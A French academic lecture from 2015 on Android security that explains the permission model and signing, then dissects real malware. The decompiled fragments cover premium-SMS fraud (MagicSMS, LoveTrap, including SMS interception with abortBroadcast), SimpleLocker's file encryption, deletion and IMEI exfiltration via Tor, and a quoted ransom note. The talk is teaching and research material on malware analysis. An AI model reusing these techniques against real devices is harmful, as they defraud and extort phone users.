(ou comment programmer un malware (et gagner de l'argent))

Jean-Francois Lalande - 25 Mars 2015

Travail réalisé en collaboration avec:

• Adrien Abraham
• Radoniaina Andriatsimandefitra
• Sylvain Bale
• Béatrice Bannier
• Valérie Viet Triem Tong

Objectifs visés

• comprendre les éléments indispensables de l'architecture Android
• découvrir les principes de Sécurité dans Android
• étudier les familles de malware
• plonger au coeur de certains malware

La présentation abordera les points suivants:

Sommaire

• 1   Objectifs de cette présentation
• 2   Introduction
• 3   La sécurité dans Android
• 4   Exemples de malware
• 5   Conclusion
• 6   Bibliographie

Quelques chiffres marquants:

• décembre 2011: 700 000 activations par jour
• juin 2012: 1 million d'activations par jour
• sept. 2012: 1.3 millions d'activations par jour
• juillet 2013: 1.5 millions d'activations par jour

Android est en fait un système de la famille des Linux, pour une fois sans les outils GNU. L'OS s'appuie sur:

• un noyau Linux (et ses drivers)
• un couche d'abstraction pour l'accès aux capteurs (HAL)
• une machine virtuelle: Dalvik Virtual Machine (avant Lollipop)
• un compilateur de bytecode vers le natif Android Runtime (pour Lollipop)
• des applications (navigateur, gestion des contacts, application de téléphonie...)
• des bibliothèques (SSL, SQLite, OpenGL ES, etc...)
• des API d'accès aux services Google

Anatomie d'un déploiement:

Activités: une classe représentant un écran de l'application.

public class Main extends Activity {
  public void onCreate(Bundle savedInstanceState) {
    setContentView(R.layout.acceuil);
  }

Services

Une tâche de fond, exécutée dans le processus de l'application.

public class MonService extends Service {
  public int onStartCommand(Intent intent, int flags, int startId) {
  // TODO
  return Service.START_NOT_STICKY;
}

Intent

Un message, permettant de déléguer une action à une application tierce.

Intent intent = new Intent("andro.jf.nom_du_message");
startActivity(intent);
startService(intent);

Receiver

Permet de recevoir des Intent dans la méthode onReceive()

La vie d'une application est particulière:

• Fragmentation du code par Activity / Service
• Pas de persistance d'un Thread pour chaque application
• Conséquence:
  • Nécessite de programmer des AsyncTask, Executor, IntentService
  • Programmation hautement évènementielle

Par exemple, télécharger un fichier:

private class DownloadTask extends AsyncTask<String, Integer, String>
{
  protected String doInBackground(String... sUrl) {
      try {
      URL url = new URL(sUrl[0]);
      HttpURLConnection connection = (HttpURLConnection) url.openConnection();
      connection.connect();
      ...

Pour le cas d'une application malveillante:

• Complexifie l'analyse statique de codes
• Complexifie le monitoring dynamique de programmes

L'architecture d'Android repose sur:

• le noyau linux
• l'isolement de chaque application
• le système de permissions
• l'arrivée du contrôle d'accès mandataire (SELinux)

Isolation des processus Unix, à partir des UIDs:

• UID 0: quelques démons root
• UID 1000: services systèmes
• UID 10XYZ: processus applicatifs

Permissions projetées grâce aux groupes UNIX:

• permission INTERNET: groupe UNIX inet
• permission gérée au niveau applicatif, e.g. PackageManagerService

Dans AndroidManifest.xml:

<uses-permission android:name="android.permission.RECEIVE_SMS"/>

Avec la possibilité de définir des:

• permissions custom
• permissions basées sur les signatures

Certaines permissions sont particulièrement sensibles, d'un point de vue de la sécurité:

Vie privée:

• READ_PHONE_STATE: permet de lire l'IMEI
• READ_CONTACTS: permet de lire les contacts
• READ_SMS: permet de lire les SMS
• CAMERA: permet d'accéder aux caméras
• RECORD_AUDIO: permet d'enregistrer le son
• READ_EXTERNAL_STORAGE (dans Android 4.2): lire sur la carte SD
• READ_HISTORY_BOOKMARKS: permet de lire l'historique et les marque-pages

Fuite d'informations:

• INTERNET: permet d'ouvrir des socket vers internet
• SEND_SMS: permet d'envoyer des SMS
• CALL_PHONE: permet de passer un appel
• READ_CALL_LOG: permet de lire l'historique d'appels
• WRITE_EXTERNAL_STORAGE: écrire sur la carte SD
• NFC: écrire/lire en "sans contacts"

Intégrité:

• BRICK: permet de mettre hors service le téléphone
• WRITE_CONTACTS: permet de modifier les contacts
• WRITE_SMS: permet de modifier les SMS
• MOUNT_FORMAT_FILESYSTEMS: permet de formatter un disque externe

Déni de service:

• WAKE_LOCK: permet de maintenir l'écran allumé
• REBOOT: permet de rebooter
• KILL_BACKGROUND_PROCESSES: permet de tuer des processus

Intrusion:

• INSTALL_PACKAGES: permet d'installer des applications
• INJECT_EVENTS: permet de simuler des entrées utilisateur

Les applications sont signées par le développeur:

• pas d'intervention de Google
• permet la mise à jour automatique des applications
  • i.e. évite le remplacement par un malware
  • (mais pas l'installation du malware s'il est premier)
• attention à bien garder sa clef privée !!

La signature d'un apk se fait comme suit:

jarsigner -verbose -sigalg MD5withRSA -digestalg SHA1 -keystore jfl-key.keystore TestSignature-unsigned.apk jfl
Enter Passphrase for keystore:
 adding: META-INF/MANIFEST.MF
 adding: META-INF/JFL.SF
 adding: META-INF/JFL.RSA
signing: res/layout/activity_main.xml
...
signing: res/drawable-xxhdpi/ic_launcher.png
signing: classes.dex

Bonus: Google peut faire du remote kill d'applications !

• Malware identifié -> signature associée à la clef du développeur
• Destruction à distance de toute application signée par cette clef

SELinux s'invite peu à peu dans Android, notamment dans Lollipop. Il s'agit d'inclure un système de contrôle d'accès mandataire, c'est-à-dire dont la politique est imposée par le système et contrôle les interactions entre les processus et les ressources du système.

Notamment, SELinux confine les démons systèmes ce qui réduit les conséquences d'un exploit et au mieux, le prévient.

Pour mettre en oeuvre SELinux, il faut:

• mettre un label sur chaque ressource (fichiers, périphériques, ...).
• introduire SELinux dans le noyau Linux
• définir une polique d'autorisation (par défaut tout est interdit) définissant les interactions autorisées entre les processus et les ressources.

Bénéfices avec SELinux:

• Isolation des processus systèmes par rapport aux applications utilisateur
• Empêche les escalades de privilèges

La sécurité dans Android cherche à:

• permettre à l'utilisateur de restreindre l'accès aux ressources
• de garantir l'intégrité d'une application, même mise à jour
• protéger le système d'exploitation des vulnérabilités potentielles

Cependant, Android ne cherche pas à:

• permettre à Google d'être un unique tiers de confiance
• détecter une application malveillante (même si des analyses sont faites)

Du coté de l'attaquant, il peut:

• chercher à abuser d'une permission aquise
• chercher à attaquer le système d'exploitation
• chercher à dissimuler son code malveillant des systèmes de détection

Un malware est un programme malveillant qui travaille à l'insu de son utilisateur.

Les buts de ces programmes sont principalement [Faruki15]:

• de s'attaquer aux données de l'utilisateur
• de gagner de l'argent en déclenchant des services payants
• de servir de relai pour une prochaine attaque dans un système d'information
• de gêner le bon fonctionnement de l'appareil
• d'introduire des publicités agressives

Comment expliquer le succès de ces malware ? [QC13]

• les utilisateurs ont de réelles difficultés à définir la bonne politique de sécurité
• le système de publication est totalement décentralisé.

Trojan (+ backdoor)

Caché dans des applications bénignes, ces malware volent des informations (IMEI, login/password) via des SMS ou internet. Il peut avoir des techniques de propagation.

Worm

Code malveillant qui se réplique de téléphone en téléphone.

Botnet

Permet de contrôler un ensemble de téléphones zombis.

Spyware

Surveille l'utilisateur à son insu.

Aggresive Adware

Permet d'afficher des publicités plus intrusives (bureau, notification) en fonction du contexte.

Ransomware

Prend en otage le téléphone ou ses ressources en échange d'un paiement.

Principe général pour créer un malware:

• L'insertion du code malicieux peut-être délicate
• Perte de la signature originelle de l'APK !

Les exemples traités dans la suite:

• Vol de données privées: Gone in 60 seconds
• SMS payants: Magic sms
• SMS payants: LoveTrap
• Demande de rançon: SimpleLocker

Gone in 60 seconds: upload contacts, messages, historiques et se désinstalle:

Video

L'application SuiConFo (suivi de consommation téléphonique) a été victime d'un repackaging en com.magicsms.own.

Ce malware envoie des SMS surtaxés en fonction du pays où il s'exécute:

public void onCreate(Bundle paramBundle)
{
  super.onCreate(paramBundle);
  Toast.makeText(this, "ERROR: Android version is not compatible", 1).show();
  String str1 = ((TelephonyManager)getSystemService("phone")).getSimCountryIso();
  if (str1.equals("fr"))
  {
    str2 = "81001";
    str3 = "STAR";
  } ...
  while (1)
  {
    SmsManager localSmsManager = SmsManager.getDefault();
    localSmsManager.sendTextMessage(str2, null, str3, null, null);
    ...
}}

• La simple permission "envoie de SMS" peut être mal utilisée
• L'usurpation de l'identité d'une application payante se fait sur le nom de celle-ci (mais pas sur les mises à jour du Play store)

• But: envoyer des SMS surtaxés.
• Bonus: bloque les notifications reçues par SMS.

Permissions nécessaires: INTERNET, ACCESS_NETWORK_STATE, RECEIVE_SMS, SEND_SMS, READ_PHONE_STATE, RECEIVE_BOOT_COMPLETED.

Lorsque l'Intent RECEIVE_BOOT_COMPLETED est recu, un service est démarré:

RecorderTask localRecorderTask = new RecorderTask(this.c);
this.timer.scheduleAtFixedRate(localRecorderTask, 1000L, 1000L);

La classe RecorderTask est chargée d'envoyer les SMS frauduleux:

this.m = StringUtil.split(connmgr.getX_v, '*');
if ((this.m.length != 1) && (connmgr.ifFirstRun == "1"))
{
  this.sentIntent = PendingIntent.getBroadcast(this.context, 0, new Intent(), 0);
  this.smsManager.sendTextMessage(this.m[0].toString().trim(), null, this.m[3], this.sentIntent, null);

C'est lorsque l'on lance l'application que l'on récupère les numéros de téléphone:

ConnectWebService(connmgr.collector + "getS3?imsi=" + this.imsi.trim() + "&appid=" + connmgr.getVendorid(), 1);
...
invoke-virtual {v11}, Ljava/net/URL;->openConnection()Ljava/net/URLConnection;

Enfin, le malware déclare un receveur de SMS dans son Manifest pour intercepter les confirmations qui suivent l'envoi d'un SMS surtaxé:

<receiver android:name="SMSSrv">
 <intent-filter android:priority="1000">
   <action android:name="android.provider.Telephony.SMS_RECEIVED" />
 </intent-filter>
</receiver>

Dans la classe SMSSrv, on observe, entre autre:

public class SMSSrv extends BroadcastReceiver
{ ...
  public void onReceive(Context paramContext, Intent paramIntent)
  { ...
    abortBroadcast();

Ce dernier appel empêche les autres receveurs de broadcast de recevoir le message.

• le droit de recevoir des SMS peut perturber les autres applications
• la permission internet permet de faire évoluer le malware

• Repackaging du jeu Durak (jeu de cartes)
• Jeu avec publicité: comportement bénin
• Malveillance: publicités aggressives plein écran
• Le comportement malveillant se déclenche après 24h

• Lorsque le téléphone est relancé, l'intent BOOT_COMPLET est reçu
• onReceive(), puis sendAlive() dans DisplayCheckRebootReceiver sont appelés:

public static void sendAlive(final Context context) {

final long long1 = PreferenceManager.getDefaultSharedPreferences(context).
  getLong("mobi.dash.sendAlive.lastSendTime", 0L);
...
final long n2 = System.currentTimeMillis() - long1;
if (n2 >= 0L && n2 < DisplayCheckRebootReceiver.aliveInterval) {
        n = 0;
}
...
if (n != 0) {
  new ServerApi(Ads.getServerManager()).sendAlive(
    context.getApplicationContext(), AdIdUtils.getUserAdId(context));
  PreferenceManager.getDefaultSharedPreferences(context).edit().
    putLong("mobi.dash.sendAlive.lastSendTime", System.currentTimeMillis()).commit();
}
...
((AlarmManager)context.getSystemService("alarm")).setRepeating(2, SystemClock.elapsedRealtime() + DisplayCheckRebootReceiver.aliveInterval, DisplayCheckRebootReceiver.aliveInterval, PendingIntent.getBroadcast(context, DisplayCheckRebootReceiver.sendAliveId, intent, 0));

• ServerApi créé une AsyncTask
• Si on ne dépasse pas aliveInterval (24h), on ne fait rien
• Sinon on lance une publicité (new ServerApi)
• Dans tous les cas, on met une alarme pour revérifier cela toutes les 24h

• BOOT_COMPLETED -> Intent -> service MainService.
• Puis dans MainService.onCreate():

this.wakeLock = ((PowerManager)this.getSystemService("power")).newWakeLock(1, "WakeLock");
this.wakeLock.acquire();
...
ScheduledExecutorService scheduledExecutorService =
  Executors.newSingleThreadScheduledExecutor();
scheduledExecutorService.scheduleAtFixedRate((Runnable)new MainService$3,
  0, 180, TimeUnit.SECONDS);
scheduledExecutorService.scheduleAtFixedRate((Runnable)new MainService$4,
  1, 1, TimeUnit.SECONDS);
new Thread((Runnable)new MainService$5).start();

• MainService$3 (180s):
  • TOR_SERVICE intent -> démarre le service TorService
  • Installation, exécution de deux binaires: libprivoxy.so et tor
  • Envoie l'IMEI via tor
• MainService$4 (1s):
  • Affiche l'écran du malware
  • Vérifie s'il doit être désactivé via les préférences partagées
• MainService$5: chiffre les fichiers !

for (final String s : this.filesToEncrypt) {
aesCrypt.encrypt(s, String.valueOf(s) + ".enc");
new File(s).delete();
}

(Traduction du Russe)

Attention Your phone is locked!
The device is locked for viewing and distribution
(...)
DLA unlock you need to pay 260 UAH.
1. Locate the nearest terminal refill.
2. It get MoneXy.
3. Enter 380,982,049,193.
4. Add 260 hryvnia, and then pay.

Do not forget to get a receipt!
After receipt of payment your device will be
  unlocked in 24 hours.
In case of no PAYMENT YOU WILL LOSE ALL DATA
  TO ALWAYS HAVE IN YOUR ustroytvo!

• Pas d'utilisation de vulnérabilité.
• Tor permet de dissimuler le serveur de contrôle
• Petite subtilité: la clef de chiffrement est constante !

Les techniques utilisées sont diverses:

• Usurpation d'un nom d'application (efficace mais peu discret)
• Assemblage d'une application avec une malveillance

Les permissions sont importantes:

• Abuser d'une permission: détournement de son usage bénin
• Le système actuel n'est pas satisfaisant

L'analyse de malware est un travail long et fastidieux

• Les outils libres n'existent pas
• Les techniques de défense rendent les analyses difficiles

Perspectives: automatiser, quantifier, comprendre les comportements malveillants

6.1   Articles

6.2   Malware

6.3   Thèse

[Rado] Radoniaina Andriatsimandefitra. Caractérisation et détection de malware Android basées sur les flux d'information. Cryptography and Security. Supélec, 2014. https://tel.archives-ouvertes.fr/tel-01095994/

>>>>>>>>> Questions ???